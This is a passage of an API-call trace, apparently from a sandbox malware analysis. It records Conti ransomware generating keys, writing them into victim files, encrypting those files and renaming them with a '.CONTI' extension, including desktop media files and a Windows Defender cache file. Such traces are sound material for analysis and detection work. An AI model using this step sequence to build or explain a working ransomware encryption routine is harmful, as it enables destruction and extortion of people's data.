	[0129.593] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.80"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.80.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.80.conti")) returned 1
	[0129.593] GetProcessHeap () returned 0x1720000
	[0129.593] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.593] CryptDestroyKey (hKey=0x6b7f5f8) returned 1
	[0129.593] GetProcessHeap () returned 0x1720000
	[0129.593] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173c0e0 | out: hHeap=0x1720000) returned 1
	[0129.593] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0130.175] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b51ba8 | out: phKey=0x6b51ba8*=0x17c82b0) returned 1
	[0130.175] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51bac, pdwDataLen=0x4bffe94 | out: pbData=0x6b51bac*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0130.176] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico")) returned 0x20
	[0130.176] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.176] GetLastError () returned 0x5
	[0130.176] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0130.176] GetProcessHeap () returned 0x1720000
	[0130.176] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d298 | out: hHeap=0x1720000) returned 1
	[0130.176] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0134.006] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b47090 | out: phKey=0x6b47090*=0x17c7e70) returned 1
	[0134.006] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47094, pdwDataLen=0x4bffe94 | out: pbData=0x6b47094*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0134.007] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml")) returned 0x20
	[0134.007] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.007] GetLastError () returned 0x5
	[0134.007] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0134.007] GetProcessHeap () returned 0x1720000
	[0134.007] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0134.007] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0134.709] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b45778 | out: phKey=0x6b45778*=0x17c83b0) returned 1
	[0134.710] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4577c, pdwDataLen=0x4bffe94 | out: pbData=0x6b4577c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0135.429] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov")) returned 0x20
	[0135.429] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.430] GetLastError () returned 0x5
	[0135.430] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0135.430] GetProcessHeap () returned 0x1720000
	[0135.430] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eea0 | out: hHeap=0x1720000) returned 1
	[0135.430] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0136.735] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b45530 | out: phKey=0x6b45530*=0x6b7f278) returned 1
	[0136.735] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45534, pdwDataLen=0x4bffe94 | out: pbData=0x6b45534*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0137.609] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Application Data" (normalized: "c:\\users\\default\\application data")) returned 0x2416
	[0137.610] CreateFileW (lpFileName="C:\\Users\\Default\\Application Data" (normalized: "c:\\users\\default\\application data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0137.610] GetLastError () returned 0x5
	[0137.610] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0137.610] GetProcessHeap () returned 0x1720000
	[0137.610] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d558 | out: hHeap=0x1720000) returned 1
	[0137.610] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0137.610] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b51288 | out: phKey=0x6b51288*=0x6b7f6b8) returned 1
	[0137.610] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5128c, pdwDataLen=0x4bffe94 | out: pbData=0x6b5128c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0137.611] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\dxw52wja5k3.wav")) returned 0x20
	[0137.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\dxw52wja5k3.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0137.611] GetLastError () returned 0x0
	[0137.611] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=86178) returned 1
	[0137.611] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x150a2
	[0137.611] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.611] SetEndOfFile (hFile=0x434) returned 1
	[0137.611] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.611] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.611] WriteFile (in: hFile=0x434, lpBuffer=0x6b5128c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b5128c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.614] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.614] ReadFile (in: hFile=0x434, lpBuffer=0xda50000, nNumberOfBytesToRead=0x150a2, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x150a2, lpOverlapped=0x0) returned 1
	[0137.614] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x150a2, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x150b0) returned 1
	[0137.614] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.615] WriteFile (in: hFile=0x434, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x150b0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x150b0, lpOverlapped=0x0) returned 1
	[0137.615] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.615] WriteFile (in: hFile=0x434, lpBuffer=0x6b51280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b51280*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0137.615] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.615] CloseHandle (hObject=0x434) returned 1
	[0137.615] GetProcessHeap () returned 0x1720000
	[0137.615] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.615] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav") returned="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav"
	[0137.615] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav.CONTI"
	[0137.615] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\dxw52wja5k3.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\DXw52WJa5K3.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\dxw52wja5k3.wav.conti")) returned 1
	[0137.616] GetProcessHeap () returned 0x1720000
	[0137.616] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.616] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0137.616] GetProcessHeap () returned 0x1720000
	[0137.616] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf390 | out: hHeap=0x1720000) returned 1
	[0137.616] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0137.616] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b51960 | out: phKey=0x6b51960*=0x6b7f6b8) returned 1
	[0137.616] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51964, pdwDataLen=0x4bffe94 | out: pbData=0x6b51964*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0137.617] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png" (normalized: "c:\\users\\fd1hvy\\desktop\\fgps_u f-iu5vm.png")) returned 0x20
	[0137.617] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png" (normalized: "c:\\users\\fd1hvy\\desktop\\fgps_u f-iu5vm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0137.617] GetLastError () returned 0x0
	[0137.617] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=10938) returned 1
	[0137.617] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2aba
	[0137.618] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.618] SetEndOfFile (hFile=0x434) returned 1
	[0137.618] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.618] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.618] WriteFile (in: hFile=0x434, lpBuffer=0x6b51964*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b51964*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.625] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.625] ReadFile (in: hFile=0x434, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2aba, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2aba, lpOverlapped=0x0) returned 1
	[0137.625] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2aba, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2ac0) returned 1
	[0137.625] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.625] WriteFile (in: hFile=0x434, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2ac0, lpOverlapped=0x0) returned 1
	[0137.625] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.625] WriteFile (in: hFile=0x434, lpBuffer=0x6b51958*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b51958*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0137.626] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.626] CloseHandle (hObject=0x434) returned 1
	[0137.626] GetProcessHeap () returned 0x1720000
	[0137.626] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fd428
	[0137.626] lstrcpyW (in: lpString1=0x17fd428, lpString2="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png") returned="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png"
	[0137.626] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png.CONTI"
	[0137.626] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png" (normalized: "c:\\users\\fd1hvy\\desktop\\fgps_u f-iu5vm.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\Fgps_u F-Iu5Vm.png.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\fgps_u f-iu5vm.png.conti")) returned 1
	[0137.629] GetProcessHeap () returned 0x1720000
	[0137.629] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fd428 | out: hHeap=0x1720000) returned 1
	[0137.629] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0137.629] GetProcessHeap () returned 0x1720000
	[0137.630] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741340 | out: hHeap=0x1720000) returned 1
	[0137.630] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0137.630] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b4de10 | out: phKey=0x6b4de10*=0x6b7f6b8) returned 1
	[0137.630] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4de14, pdwDataLen=0x4bffe94 | out: pbData=0x6b4de14*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0137.630] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\gs1x2fld2u5yt.bmp")) returned 0x20
	[0137.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\gs1x2fld2u5yt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0137.631] GetLastError () returned 0x0
	[0137.631] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=6690) returned 1
	[0137.631] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1a22
	[0137.631] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.631] SetEndOfFile (hFile=0x434) returned 1
	[0137.631] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.631] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.631] WriteFile (in: hFile=0x434, lpBuffer=0x6b4de14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4de14*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.633] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.633] ReadFile (in: hFile=0x434, lpBuffer=0xda50000, nNumberOfBytesToRead=0x1a22, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x1a22, lpOverlapped=0x0) returned 1
	[0137.633] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1a22, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x1a30) returned 1
	[0137.633] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.633] WriteFile (in: hFile=0x434, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x1a30, lpOverlapped=0x0) returned 1
	[0137.633] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.633] WriteFile (in: hFile=0x434, lpBuffer=0x6b4de08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b4de08*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0137.633] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.633] CloseHandle (hObject=0x434) returned 1
	[0137.633] GetProcessHeap () returned 0x1720000
	[0137.633] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.633] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp"
	[0137.634] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp.CONTI"
	[0137.634] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\gs1x2fld2u5yt.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\GS1X2Fld2u5Yt.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\gs1x2fld2u5yt.bmp.conti")) returned 1
	[0137.634] GetProcessHeap () returned 0x1720000
	[0137.634] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.634] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0137.634] GetProcessHeap () returned 0x1720000
	[0137.634] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740ce0 | out: hHeap=0x1720000) returned 1
	[0137.634] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0137.634] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e058 | out: phKey=0x6b4e058*=0x6b7f278) returned 1
	[0137.634] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e05c, pdwDataLen=0x4bffe94 | out: pbData=0x6b4e05c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0137.635] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\i9wxpkeapt4ymj7vx.flv")) returned 0x20
	[0137.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\i9wXpKeaPt4yMj7vx.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\i9wxpkeapt4ymj7vx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0137.635] GetLastError () returned 0x0
	[0137.635] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=80373) returned 1
	[0137.635] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x139f5
	[0137.635] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.635] SetEndOfFile (hFile=0x434) returned 1
	[0137.636] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.636] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
